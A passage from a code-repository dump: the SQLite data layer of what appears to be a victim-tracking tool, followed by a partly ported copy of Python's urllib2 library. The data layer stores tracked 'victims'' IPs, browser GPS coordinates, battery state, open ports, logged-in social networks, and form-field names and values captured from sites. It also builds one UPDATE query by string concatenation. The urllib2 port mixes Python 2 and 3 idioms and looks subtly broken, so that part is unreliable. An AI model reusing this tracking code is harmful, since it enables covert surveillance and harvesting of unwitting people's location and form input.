self.cursor.execute( """CREATE TABLE IF NOT EXISTS "victims_battery" ( `id` TEXT, `charging` TEXT, `time_c` REAL, `time_d` REAL, `level` REAL)""") self.cursor.execute( """CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""") self.cursor.execute( """CREATE TABLE IF NOT EXISTS "hostsalive" ( `id` TEXT, `remote_ip` TEXT, `ping` TEXT, `date` TEXT )""") self.conn.commit() return True def sql_execute(self, sentence): if type(sentence) is str: self.cursor.execute(sentence) else: self.cursor.execute(sentence[0], sentence[1]) return self.cursor.fetchall() def sql_one_row(self, sentence, column): if type(sentence) is str: self.cursor.execute(sentence) else: self.cursor.execute(sentence[0], sentence[1]) return self.cursor.fetchone()[column] def sql_insert(self, sentence): if type(sentence) is str: self.cursor.execute(sentence) else: self.cursor.execute(sentence[0], sentence[1]) self.conn.commit() return True def prop_sentences_stats(self, type, vId=None): return { 'get_data': "SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, COUNT(clicks.id), geo.connection, clicks.site, geo.refer, victims_data.last_online, victims_data.name, victims_battery.charging, victims_battery.time_c, victims_battery.time_d, victims_battery.level FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC", 'all_networks': "SELECT networks.* FROM networks ORDER BY id", 'get_preview': ("SELECT victims.*, geo.id, geo.city, geo.country_code, geo.country_name, geo.ip, geo.latitude, geo.longitude, geo.metro_code, geo.region_code, geo.region_name, geo.time_zone, geo.zip_code, geo.isp, geo.ua, victims.ip AS ip_local, geo.connection, geo.latitude_browser, geo.longitude_browser, victims_battery.charging, victims_battery.time_c, victims_battery.level, victims_battery.time_d, victims_data.navigation_mode, victims_data.donottrack, victims_data.last_online, victims_data.name, victims_data.gpu FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN victims_battery ON victims_battery.id = victims.id LEFT JOIN victims_data ON victims_data.id = victims.id WHERE victims.id = ?", vId), 'id_networks': ("SELECT networks.* FROM networks WHERE id = ?", vId), 'get_requests': "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ", 'get_sessions': "SELECT COUNT(*) AS Total FROM networks", 'get_clicks': "SELECT COUNT(*) AS Total FROM clicks", 'get_online': ("SELECT COUNT(*) AS Total FROM victims WHERE status = ?", vId), 'get_hostsalive': ("SELECT hostsalive.* FROM hostsalive WHERE id = ?", vId), 'get_socialimpact': ("SELECT networks.network, COUNT(DISTINCT networks.id) AS Sessions, COUNT(DISTINCT geo.id) AS Locations, COUNT(DISTINCT clicks.id) AS Interactions FROM networks LEFT JOIN geo ON networks.id = geo.id AND geo.latitude_browser <> '' LEFT JOIN clicks ON networks.id = clicks.id GROUP BY networks.network ORDER BY Sessions DESC, Interactions DESC, Locations DESC, network") }.get(type, False) def sentences_stats(self, type, vId=None): return self.sql_execute(self.prop_sentences_stats(type, vId)) def prop_sentences_victim(self, type, data=None): if type == 'count_victim': t = (data,) return ("SELECT COUNT(*) AS C FROM victims WHERE id = ?", t) elif type == 'count_times': t = (data,) return ("SELECT COUNT(*) AS C FROM clicks WHERE id = ?", t) elif type == 'update_victim': t = (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1],) return ("UPDATE victims SET ip = ?, date = ?, bVersion = ?, browser = ?, device = ?, ports = ?, time = ?, cpu = ?, status = ? WHERE id = ?", t) elif type == 'update_victim_geo': t = (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1],) return ("UPDATE geo SET city = ?, country_code = ?, country_name = ?, ip = ?, latitude = ?, longitude = ?, metro_code = ?, region_code = ?, region_name = ?, time_zone = ?, zip_code = ?, isp = ?, ua=? WHERE id = ?", t) elif type == 'insert_victim': t = (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online',) return ("INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES(?,?, ?,?, ?,?, ?, ?, ?, ?)", t) elif type == 'insert_victim_data': t = (data[0], '', 'online', '{}', '', '',) return ("INSERT INTO victims_data(id, name, last_online, gpu, donottrack, navigation_mode) VALUES(?, ?, ?, ?, ?, ? )", t) elif type == 'insert_victim_battery': t = (data[0], '', 0, 0, 100,) return ("INSERT INTO victims_battery(id, charging, time_c, time_d, level) VALUES(?, ?, ?, ?, ?)", t) elif type == 'insert_victim_geo': t = (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[0].refer,) return ("INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", t) elif type == 'count_victim_network': return ("SELECT COUNT(*) AS C FROM networks WHERE id = ? AND network = ?", (data[0], data[1],)) elif type == 'delete_networks': return ("DELETE FROM networks WHERE id = ?", (data[0],)) elif type == 'update_network': return ("UPDATE networks SET date = ? WHERE id = ? AND network = ?", (data[2], data[0], data[1],)) elif type == 'insert_networks': t = (data[0], data[1], data[2], data[3], data[4],) return ("INSERT INTO networks(id, public_ip, ip, network, date) VALUES(?,?, ?, ?,?)", t) elif type == 'insert_requests': t = (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1],) return ("INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES(?, ?,?, ?, ?,?, ?)", t) elif type == 'insert_click': return ("INSERT INTO clicks(id, site, date) VALUES(?, ?,?)", (data[0], data[1], data[2],)) elif type == 'report_online': return ("UPDATE victims SET status = ? WHERE id = ?", ('online', data[0],)) elif type == 'clean_online': return ("UPDATE victims SET status = ? ", ('offline',)) elif type == 'clean_online': return ("UPDATE victims SET status = ? WHERE ", ('offline',)) elif type == 'clean_usersnoping': return ("UPDATE victims SET status = ? WHERE victims.id IN (SELECT id FROM victims_data WHERE julianday(CURRENT_TIMESTAMP) - julianday(replace(victims_data.last_online, ' - ', 'T')) >= ?)", ('offline', 0.2087,)) elif type == 'disconnect_victim': return ("UPDATE victims SET status = ? WHERE id = ?", ('offline', data,)) elif type == 'location_victim': return ("UPDATE geo SET latitude_browser = ?, longitude_browser = ? WHERE id = ?", (data[1], data[2], data[0])) elif type == 'connection_victim': return ("UPDATE geo SET connection = ?, refer = ? WHERE id = ?", (data[1], data[2], data[0])) elif type == 'update_battery': return ("UPDATE victims_battery SET " + data[2] + " = ? WHERE id = ?", (data[1], data[0])) elif type == 'update_navigationmode': return ("UPDATE victims_data SET navigation_mode = ?, donottrack = ? WHERE id = ?", (data[1], data[2], data[0])) elif type == 'update_lastping': return ("UPDATE victims_data SET last_online = ? WHERE id = ?", (data[1], data[0],)) elif type == 'update_name': return ("UPDATE victims_data SET name = ? WHERE id = ?", (data[1], data[0],)) elif type == 'delete_hostalive': return ("DELETE FROM hostsalive WHERE id = ?", (data,)) elif type == 'register_hostalive': return ("INSERT INTO hostsalive (id, remote_ip, ping, date) VALUES(?,?,?,?)", (data[0], data[1], data[2], data[3])) elif type == 'delete_victim': return ("DELETE FROM victims WHERE id = ?", (data,)) elif type == 'delete_geo': return ("DELETE FROM geo WHERE id = ?", (data,)) elif type == 'update_localIp': return ("UPDATE victims SET ip = ? WHERE id = ?", (data[1], data[0],)) elif type == 'update_gpu': return ("UPDATE victims_data SET gpu = ? WHERE id = ?", (data[1], data[0],)) else: return False def sentences_victim(self, type, data=None, sRun=1, column=0): if sRun == 2: return self.sql_insert(self.prop_sentences_victim(type, data)) elif sRun == 3: return self.sql_one_row(self.prop_sentences_victim(type, data), column) else: return self.sql_execute(self.prop_sentences_victim(type, data)) def __del__(self): self.conn.close() ================================================ FILE: core/dependence/__init__.py ================================================ pass ================================================ FILE: core/dependence/urllib2.py ================================================ """An extensible library for opening URLs using a variety of protocols The simplest way to use this module is to call the urlopen function, which accepts a string containing a URL or a Request object (described below). It opens the URL and returns the results as file-like object; the returned object has some extra methods described below. The OpenerDirector manages a collection of Handler objects that do all the actual work. Each Handler implements a particular protocol or option. The OpenerDirector is a composite object that invokes the Handlers needed to open the requested URL. For example, the HTTPHandler performs HTTP GET and POST requests and deals with non-error returns. The HTTPRedirectHandler automatically deals with HTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler deals with digest authentication. urlopen(url, data=None) -- Basic usage is the same as original urllib. pass the url and optionally data to post to an HTTP URL, and get a file-like object back. One difference is that you can also pass a Request instance instead of URL. Raises a URLError (subclass of IOError); for HTTP errors, raises an HTTPError, which can also be treated as a valid response. build_opener -- Function that creates a new OpenerDirector instance. Will install the default handlers. Accepts one or more Handlers as arguments, either instances or Handler classes that it will instantiate. If one of the argument is a subclass of the default handler, the argument will be installed instead of the default. install_opener -- Installs a new opener as the default opener. objects of interest: OpenerDirector -- Sets up the User Agent as the Python-urllib client and manages the Handler classes, while dealing with requests and responses. Request -- An object that encapsulates the state of a request. The state can be as simple as the URL. It can also include extra HTTP headers, e.g. a User-Agent. BaseHandler -- exceptions: URLError -- A subclass of IOError, individual protocols have their own specific subclass. HTTPError -- Also a valid HTTP response, so you can treat an HTTP error as an exceptional event or valid response. internals: BaseHandler and parent _call_chain conventions Example usage: import urllib2 # set up authentication info authinfo = urllib2.HTTPBasicAuthHandler() authinfo.add_password(realm='PDQ Application', uri='https://mahler:8092/site-updates.py', user='klem', passwd='geheim$parole') proxy_support = urllib2.ProxyHandler({"http" : "http://ahad-haam:3128"}) # build a new opener that adds authentication and caching FTP handlers opener = urllib2.build_opener(proxy_support, authinfo, urllib2.CacheFTPHandler) # install it urllib2.install_opener(opener) f = urllib2.urlopen('http://www.python.org/') """ # XXX issues: # If an authentication error handler that tries to perform # authentication for some reason but fails, how should the error be # signalled? The client needs to know the HTTP error code. But if # the handler knows that the problem was, e.g., that it didn't know # that hash algo that requested in the challenge, it would be good to # pass that information along to the client, too. # ftp errors aren't handled cleanly # check digest against correct (i.e. non-apache) implementation # Possible extensions: # complex proxies XXX not sure what exactly was meant by this # abstract factory for opener import base64 import hashlib import http.client as httplib import email as mimetools import os import posixpath import random import re import socket import sys import time import urllib.parse import bisect try: from io import StringIO except ImportError: from io import StringIO from urllib.parse import (splitport, splittag, splituser, splitpasswd, splitvalue, splitattr, unwrap, unquote, splittype, splithost, quote) from urllib.request import addinfourl # from urllib import ftpwrapper from urllib.request import url2pathname # used in User-Agent header sent __version__ = sys.version[:3] _opener = None def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): global _opener if _opener is None: _opener = build_opener() return _opener.open(url, data, timeout) def install_opener(opener): global _opener _opener = opener # do these error classes make sense? # make sure all of the IOError stuff is overridden. we just want to be # subtypes. class URLError(IOError): # URLError is a sub-type of IOError, but it doesn't share any of # the implementation. need to override __init__ and __str__. # It sets self.args for compatibility with other EnvironmentError # subclasses, but args doesn't have the typical format with errno in # slot 0 and strerror in slot 1. This may be better than nothing. def __init__(self, reason): self.args = reason, self.reason = reason def __str__(self): return '' % self.reason class HTTPError(URLError, addinfourl): """Raised when HTTP error occurs, but also acts like non-error return""" __super_init = addinfourl.__init__ def __init__(self, url, code, msg, hdrs, fp): self.code = code self.msg = msg self.hdrs = hdrs self.fp = fp self.filename = url # The addinfourl classes depend on fp being a valid file # object. In some cases, the HTTPError may not have a valid # file object. If this happens, the simplest workaround is to # not initialize the base classes. if fp is not None: self.__super_init(fp, hdrs, url, code) def __str__(self): return 'HTTP Error %s: %s' % (self.code, self.msg) # since URLError specifies a .reason attribute, HTTPError should also # provide this attribute. See issue13211 fo discussion. @property def reason(self): return self.msg # copied from cookielib.py _cut_port_re = re.compile(r":\d+$") def request_host(request): """Return request-host, as defined by RFC 2965. Variation from RFC: returned value is lowercased, for convenient comparison. """ url = request.get_full_url() host = urllib.parse.urlparse(url)[1] if host == "": host = request.get_header("Host", "") # remove port, if present host = _cut_port_re.sub("", host, 1) return host.lower() class Request: def __init__(self, url, data=None, headers={}, origin_req_host=None, unverifiable=False): # unwrap('') --> 'type://host/path' self.__original = unwrap(url) self.__original, self.__fragment = splittag(self.__original) self.type = None # self.__r_type is what's left after doing the splittype self.host = None self.port = None self._tunnel_host = None self.data = data self.headers = {} for key, value in list(headers.items()): self.add_header(key, value) self.unredirected_hdrs = {} if origin_req_host is None: origin_req_host = request_host(self) self.origin_req_host = origin_req_host self.unverifiable = unverifiable def __getattr__(self, attr): # XXX this is a fallback mechanism to guard against these # methods getting called in a non-standard order. this may be # too complicated and/or unnecessary. # XXX should the __r_XXX attributes be public? if attr[:12] == '_Request__r_': name = attr[12:] if hasattr(Request, 'get_' + name): getattr(self, 'get_' + name)() return getattr(self, attr) raise AttributeError(attr) def get_method(self): if self.has_data(): return "POST" else: return "GET" # XXX these helper methods are lame def add_data(self, data): self.data = data def has_data(self): return self.data is not None def get_data(self): return self.data def get_full_url(self): if self.__fragment: return '%s#%s' % (self.__original, self.__fragment) else: return self.__original def get_type(self): if self.type is None: self.type, self.__r_type = splittype(self.__original) if self.type is None: raise ValueError("unknown url type: %s" % self.__original) return self.type def get_host(self): if self.host is None: self.host, self.__r_host = splithost(self.__r_type) if self.host: self.host = unquote(self.host) return self.host def get_selector(self): return self.__r_host def set_proxy(self, host, type): if self.type == 'https' and not self._tunnel_host: self._tunnel_host = self.host else: self.type = type self.__r_host = self.__original self.host = host def has_proxy(self): return self.__r_host == self.__original def get_origin_req_host(self): return self.origin_req_host def is_unverifiable(self): return self.unverifiable def add_header(self, key, val): # useful for something like authentication self.headers[key.capitalize()] = val def add_unredirected_header(self, key, val): # will not be added to a redirected request self.unredirected_hdrs[key.capitalize()] = val def has_header(self, header_name): return (header_name in self.headers or header_name in self.unredirected_hdrs) def get_header(self, header_name, default=None): return self.headers.get( header_name, self.unredirected_hdrs.get(header_name, default)) def header_items(self): hdrs = self.unredirected_hdrs.copy() hdrs.update(self.headers) return list(hdrs.items()) class OpenerDirector: def __init__(self): client_version = "Python-urllib/%s" % __version__ self.addheaders = [('User-agent', client_version)] # self.handlers is retained only for backward compatibility self.handlers = [] # manage the individual handlers self.handle_open = {} self.handle_error = {} self.process_response = {} self.process_request = {} def add_handler(self, handler): if not hasattr(handler, "add_parent"): raise TypeError("expected BaseHandler instance, got %r" % type(handler)) added = False for meth in dir(handler): if meth in ["redirect_request", "do_open", "proxy_open"]: # oops, coincidental match continue i = meth.find("_") protocol = meth[:i] condition = meth[i+1:] if condition.startswith("error"): j = condition.find("_") + i + 1 kind = meth[j+1:] try: kind = int(kind) except ValueError: pass lookup = self.handle_error.get(protocol, {}) self.handle_error[protocol] = lookup elif condition == "open": kind = protocol lookup = self.handle_open elif condition == "response": kind = protocol lookup = self.process_response elif condition == "request": kind = protocol lookup = self.process_request else: continue handlers = lookup.setdefault(kind, []) if handlers: bisect.insort(handlers, handler) else: handlers.append(handler) added = True if added: bisect.insort(self.handlers, handler) handler.add_parent(self) def close(self): # Only exists for backwards compatibility. pass def _call_chain(self, chain, kind, meth_name, *args): # Handlers raise an exception if no one else should try to handle # the request, or return None if they can't but another handler # could. Otherwise, they return the response. handlers = chain.get(kind, ()) for handler in handlers: func = getattr(handler, meth_name) result = func(*args) if result is not None: return result def open(self, fullurl, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): # accept a URL or a Request object if isinstance(fullurl, str): req = Request(fullurl, data) else: req = fullurl if data is not None: req.add_data(data) req.timeout = timeout protocol = req.get_type() # pre-process request meth_name = protocol+"_request" for processor in self.process_request.get(protocol, []): meth = getattr(processor, meth_name) req = meth(req) response = self._open(req, data) # post-process response meth_name = protocol+"_response" for processor in self.process_response.get(protocol, []): meth = getattr(processor, meth_name) response = meth(req, response) return response def _open(self, req, data=None): result = self._call_chain(self.handle_open, 'default', 'default_open', req) if result: return result protocol = req.get_type() result = self._call_chain(self.handle_open, protocol, protocol + '_open', req) if result: return result return self._call_chain(self.handle_open, 'unknown', 'unknown_open', req) def error(self, proto, *args): if proto in ('http', 'https'): # XXX http[s] protocols are special-cased dict = self.handle_error['http'] # https is not different than http proto = args[2] # YUCK! meth_name = 'http_error_%s' % proto http_err = 1 orig_args = args else: dict = self.handle_error meth_name = proto + '_error' http_err = 0 args = (dict, proto, meth_name) + args result = self._call_chain(*args) if result: return result if http_err: args = (dict, 'default', 'http_error_default') + orig_args return self._call_chain(*args) # XXX probably also want an abstract factory that knows when it makes # sense to skip a superclass in favor of a subclass and when it might # make sense to include both def build_opener(*handlers): """Create an opener object from a list of handlers. The opener will use several default handlers, including support for HTTP, FTP and when applicable, HTTPS. If any of the handlers passed as arguments are subclasses of the default handlers, the default handlers will not be used. """ import types def isclass(obj): return isinstance(obj, type) opener = OpenerDirector() default_classes = [ProxyHandler, UnknownHandler, HTTPHandler, HTTPDefaultErrorHandler, HTTPRedirectHandler, FTPHandler, FileHandler, HTTPErrorProcessor] if hasattr(httplib, 'HTTPS'): default_classes.append(HTTPSHandler) skip = set() for klass in default_classes: for check in handlers: if isclass(check): if issubclass(check, klass): skip.add(klass) elif isinstance(check, klass): skip.add(klass) for klass in skip: default_classes.remove(klass) for klass in default_classes: opener.add_handler(klass()) for h in handlers: if isclass(h): h = h() opener.add_handler(h) return opener class BaseHandler: handler_order = 500 def add_parent(self, parent): self.parent = parent def close(self): # Only exists for backwards compatibility pass def __lt__(self, other): if not hasattr(other, "handler_order"): # Try to preserve the old behavior of having custom classes # inserted after default ones (works only for custom user # classes which are not aware of handler_order). return True return self.handler_order < other.handler_order class HTTPErrorProcessor(BaseHandler): """Process HTTP error responses.""" handler_order = 1000 # after all other processing def http_response(self, request, response): code, msg, hdrs = response.code, response.msg, response.info() # According to RFC 2616, "2xx" code indicates that the client's # request was successfully received, understood, and accepted. if not (200 <= code < 300): response = self.parent.error( 'http', request, response, code, msg, hdrs) return response https_response = http_response class HTTPDefaultErrorHandler(BaseHandler): def http_error_default(self, req, fp, code, msg, hdrs): raise HTTPError(req.get_full_url(), code, msg, hdrs, fp) class HTTPRedirectHandler(BaseHandler): # maximum number of redirections to any single URL # this is needed because of the state that cookies introduce max_repeats = 4 # maximum total number of redirections (regardless of URL) before # assuming we're in a loop max_redirections = 10 def redirect_request(self, req, fp, code, msg, headers, newurl): """Return a Request or None in response to a redirect. This is called by the http_error_30x methods when a redirection response is received. If a redirection should take place, return a new Request to allow http_error_30x to perform the redirect. Otherwise, raise HTTPError if no-one else should try to handle this url. Return None if you can't but another Handler might. """ m = req.get_method() if (code in (301, 302, 303, 307) and m in ("GET", "HEAD") or code in (301, 302, 303) and m == "POST"): # Strictly (according to RFC 2616), 301 or 302 in response # to a POST MUST NOT cause a redirection without confirmation # from the user (of urllib2, in this case). In practice, # essentially all clients do redirect in this case, so we # do the same. # be conciliant with URIs containing a space newurl = newurl.replace(' ', '%20') newheaders = dict((k, v) for k, v in list(req.headers.items()) if k.lower() not in ("content-length", "content-type") ) return Request(newurl, headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True) else: raise HTTPError(req.get_full_url(), code, msg, headers, fp) # Implementation note: To avoid the server sending us into an # infinite loop, the request object needs to track what URLs we # have already seen. Do this by adding a handler-specific # attribute to the Request object. def http_error_302(self, req, fp, code, msg, headers): # Some servers (incorrectly) return multiple Location headers # (so probably same goes for URI). Use first header. if 'location' in headers: newurl = headers.getheaders('location')[0] elif 'uri' in headers: newurl = headers.getheaders('uri')[0] else: return # fix a possible malformed URL urlparts = urllib.parse.urlparse(newurl) if not urlparts.path: urlparts = list(urlparts) urlparts[2] = "/" newurl = urllib.parse.urlunparse(urlparts) newurl = urllib.parse.urljoin(req.get_full_url(), newurl) # For security reasons we do not allow redirects to protocols # other than HTTP, HTTPS or FTP. newurl_lower = newurl.lower() if not (newurl_lower.startswith('http://') or newurl_lower.startswith('https://') or newurl_lower.startswith('ftp://')): raise HTTPError(newurl, code, msg + " - Redirection to url '%s' is not allowed" % newurl, headers, fp) # XXX Probably want to forget about the state of the current # request, although that might interact poorly with other # handlers that also use handler-specific request attributes new = self.redirect_request(req, fp, code, msg, headers, newurl) if new is None: return # loop detection # .redirect_dict has a key url if url was previously visited. if hasattr(req, 'redirect_dict'): visited = new.redirect_dict = req.redirect_dict if (visited.get(newurl, 0) >= self.max_repeats or len(visited) >= self.max_redirections): raise HTTPError(req.get_full_url(), code, self.inf_msg + msg, headers, fp) else: visited = new.redirect_dict = req.redirect_dict = {} visited[newurl] = visited.get(newurl, 0) + 1 # Don't close the fp until we are sure that we won't use it # with HTTPError. fp.read() fp.close() return self.parent.open(new, timeout=req.timeout) http_error_301 = http_error_303 = http_error_307 = http_error_302 inf_msg = "The HTTP server returned a redirect error that would " \ "lead to an infinite loop.\n" \ "The last 30x error message was:\n" def _parse_proxy(proxy): """Return (scheme, user, password, host/port) given a URL or an authority. If a URL is supplied, it must have an authority (host:port) component. According to RFC 3986, having an authority component means the URL must have two slashes after the scheme: >>> _parse_proxy('file:/ftp.example.com/') Traceback (most recent call last): ValueError: proxy URL with no authority: 'file:/ftp.example.com/' The first three items of the returned tuple may be None. Examples of authority parsing: >>> _parse_proxy('proxy.example.com') (None, None, None, 'proxy.example.com') >>> _parse_proxy('proxy.example.com:3128') (None, None, None, 'proxy.example.com:3128') The authority component may optionally include userinfo (assumed to be username:password): >>> _parse_proxy('joe:password@proxy.example.com') (None, 'joe', 'password', 'proxy.example.com') >>> _parse_proxy('joe:password@proxy.example.com:3128') (None, 'joe', 'password', 'proxy.example.com:3128') Same examples, but with URLs instead: >>> _parse_proxy('http://proxy.example.com/') ('http', None, None, 'proxy.example.com') >>> _parse_proxy('http://proxy.example.com:3128/') ('http', None, None, 'proxy.example.com:3128') >>> _parse_proxy('http://joe:password@proxy.example.com/') ('http', 'joe', 'password', 'proxy.example.com') >>> _parse_proxy('http://joe:password@proxy.example.com:3128') ('http', 'joe', 'password', 'proxy.example.com:3128') Everything after the authority is ignored: >>> _parse_proxy('ftp://joe:password@proxy.example.com/rubbish:3128') ('ftp', 'joe', 'password', 'proxy.example.com') Test for no trailing '/' case: >>> _parse_proxy('http://joe:password@proxy.example.com') ('http', 'joe', 'password', 'proxy.example.com') """ scheme, r_scheme = splittype(proxy) if not r_scheme.startswith("/"): # authority scheme = None authority = proxy else: # URL if not r_scheme.startswith("//"): raise ValueError("proxy URL with no authority: %r" % proxy) # We have an authority, so for RFC 3986-compliant URLs (by ss 3. # and 3.3.), path is empty or starts with '/' end = r_scheme.find("/", 2) if end == -1: end = None authority = r_scheme[2:end] userinfo, hostport = splituser(authority) if userinfo is not None: user, password = splitpasswd(userinfo) else: user = password = None return scheme, user, password, hostport class ProxyHandler(BaseHandler): # Proxies must be in front handler_order = 100 def __init__(self, proxies=None): if proxies is None: proxies = getproxies() assert hasattr(proxies, 'has_key'), "proxies must be a mapping" self.proxies = proxies for type, url in list(proxies.items()): setattr(self, '%s_open' % type, lambda r, proxy=url, type=type, meth=self.proxy_open: meth(r, proxy, type)) def proxy_open(self, req, proxy, type): orig_type = req.get_type() proxy_type, user, password, hostport = _parse_proxy(proxy) if proxy_type is None: proxy_type = orig_type if req.host and proxy_bypass(req.host): return None if user and password: user_pass = '%s:%s' % (unquote(user), unquote(password)) creds = base64.b64encode(user_pass).strip() req.add_header('Proxy-authorization', 'Basic ' + creds) hostport = unquote(hostport) req.set_proxy(hostport, proxy_type) if orig_type == proxy_type or orig_type == 'https': # let other handlers take care of it return None else: # need to start over, because the other handlers don't # grok the proxy's URL type # e.g. if we have a constructor arg proxies like so: # {'http': 'ftp://proxy.example.com'}, we may end up turning # a request for http://acme.example.com/a into one for # ftp://proxy.example.com/a return self.parent.open(req, timeout=req.timeout) class HTTPPasswordMgr: def __init__(self): self.passwd = {} def add_password(self, realm, uri, user, passwd): # uri could be a single URI or a sequence if isinstance(uri, str): uri = [uri] if not realm in self.passwd: self.passwd[realm] = {} for default_port in True, False: reduced_uri = tuple( [self.reduce_uri(u, default_port) for u in uri]) self.passwd[realm][reduced_uri] = (user, passwd) def find_user_password(self, realm, authuri): domains = self.passwd.get(realm, {}) for default_port in True, False: reduced_authuri = self.reduce_uri(authuri, default_port) for uris, authinfo in domains.items(): for uri in uris: if self.is_suburi(uri, reduced_authuri): return authinfo return None, None def reduce_uri(self, uri, default_port=True): """Accept authority or URI and extract only the authority and path.""" # note HTTP URLs do not have a userinfo component parts = urllib.parse.urlsplit(uri) if parts[1]: # URI scheme = parts[0] authority = parts[1] path = parts[2] or '/' else: # host or host:port scheme = None authority = uri path = '/' host, port = splitport(authority) if default_port and port is None and scheme is not None: dport = {"http": 80, "https": 443, }.get(scheme) if dport is not None: authority = "%s:%d" % (host, dport) return authority, path def is_suburi(self, base, test): """Check if test is below base in a URI tree Both args must be URIs in reduced form. """ if base == test: return True if base[0] != test[0]: return False common = posixpath.commonprefix((base[1], test[1])) if len(common) == len(base[1]): return True return False class HTTPPasswordMgrWithDefaultRealm(HTTPPasswordMgr): def find_user_password(self, realm, authuri): user, password = HTTPPasswordMgr.find_user_password(self, realm, authuri) if user is not None: return user, password return HTTPPasswordMgr.find_user_password(self, None, authuri) class AbstractBasicAuthHandler: # XXX this allows for multiple auth-schemes, but will stupidly pick # the last one with a realm specified. # allow for double- and single-quoted realm values # (single quotes are a violation of the RFC, but appear in the wild) rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+' 'realm=(["\'])(.*?)\\2', re.I) # XXX could pre-emptively send auth info already accepted (RFC 2617, # end of section 2, and section 1.2 immediately after "credentials" # production). def __init__(self, password_mgr=None): if password_mgr is None: password_mgr = HTTPPasswordMgr() self.passwd = password_mgr self.add_password = self.passwd.add_password self.retried = 0 def reset_retry_count(self): self.retried = 0 def http_error_auth_reqed(self, authreq, host, req, headers): # host may be an authority (without userinfo) or a URL with an # authority # XXX could be multiple headers authreq = headers.get(authreq, None) if self.retried > 5: # retry sending the username:password 5 times before failing. raise HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried += 1 if authreq: mo = AbstractBasicAuthHandler.rx.search(authreq) if mo: scheme, quote, realm = mo.groups() if scheme.lower() == 'basic': response = self.retry_http_basic_auth(host, req, realm) if response and response.code != 401: self.retried = 0 return response def retry_http_basic_auth(self, host, req, realm): user, pw = self.passwd.find_user_password(realm, host) if pw is not None: raw = "%s:%s" % (user, pw) auth = 'Basic %s' % base64.b64encode(raw).strip() if req.headers.get(self.auth_header, None) == auth: return None req.add_unredirected_header(self.auth_header, auth) return self.parent.open(req, timeout=req.timeout) else: return None class HTTPBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler): auth_header = 'Authorization' def http_error_401(self, req, fp, code, msg, headers): url = req.get_full_url() response = self.http_error_auth_reqed('www-authenticate', url, req, headers) self.reset_retry_count() return response class ProxyBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler): auth_header = 'Proxy-authorization' def http_error_407(self, req, fp, code, msg, headers): # http_error_auth_reqed requires that there is no userinfo component in # authority. Assume there isn't one, since urllib2 does not (and # should not, RFC 3986 s. 3.2.1) support requests for URLs containing # userinfo. authority = req.get_host() response = self.http_error_auth_reqed('proxy-authenticate', authority, req, headers) self.reset_retry_count() return response def randombytes(n): """Return n random bytes.""" # Use /dev/urandom if it is available. Fall back to random module # if not. It might be worthwhile to extend this function to use # other platform-specific mechanisms for getting random bytes. if os.path.exists("/dev/urandom"): f = open("/dev/urandom") s = f.read(n) f.close() return s else: L = [chr(random.randrange(0, 256)) for i in range(n)] return "".join(L) class AbstractDigestAuthHandler: # Digest authentication is specified in RFC 2617. # XXX The client does not inspect the Authentication-Info header # in a successful response. # XXX It should be possible to test this implementation against # a mock server that just generates a static set of challenges. # XXX qop="auth-int" supports is shaky def __init__(self, passwd=None): if passwd is None: passwd = HTTPPasswordMgr() self.passwd = passwd self.add_password = self.passwd.add_password self.retried = 0 self.nonce_count = 0 self.last_nonce = None def reset_retry_count(self): self.retried = 0 def http_error_auth_reqed(self, auth_header, host, req, headers): authreq = headers.get(auth_header, None) if self.retried > 5: # Don't fail endlessly - if we failed once, we'll probably # fail a second time. Hm. Unless the Password Manager is # prompting for the information. Crap. This isn't great # but it's better than the current 'repeat until recursion # depth exceeded' approach raise HTTPError(req.get_full_url(), 401, "digest auth failed", headers, None) else: self.retried += 1 if authreq: scheme = authreq.split()[0] if scheme.lower() == 'digest': return self.retry_http_digest_auth(req, authreq) def retry_http_digest_auth(self, req, auth): token, challenge = auth.split(' ', 1) chal = parse_keqv_list(parse_http_list(challenge)) auth = self.get_authorization(req, chal) if auth: auth_val = 'Digest %s' % auth if req.headers.get(self.auth_header, None) == auth_val: return None req.add_unredirected_header(self.auth_header, auth_val) resp = self.parent.open(req, timeout=req.timeout) return resp def get_cnonce(self, nonce): # The cnonce-value is an opaque # quoted string value provided by the client and used by both client # and server to avoid chosen plaintext attacks, to provide mutual # authentication, and to provide some message integrity protection. # This isn't a fabulous effort, but it's probably Good Enough. dig = hashlib.sha1("%s:%s:%s:%s" % (self.nonce_count, nonce, time.ctime(), randombytes(8))).hexdigest() return dig[:16] def get_authorization(self, req, chal): try: realm = 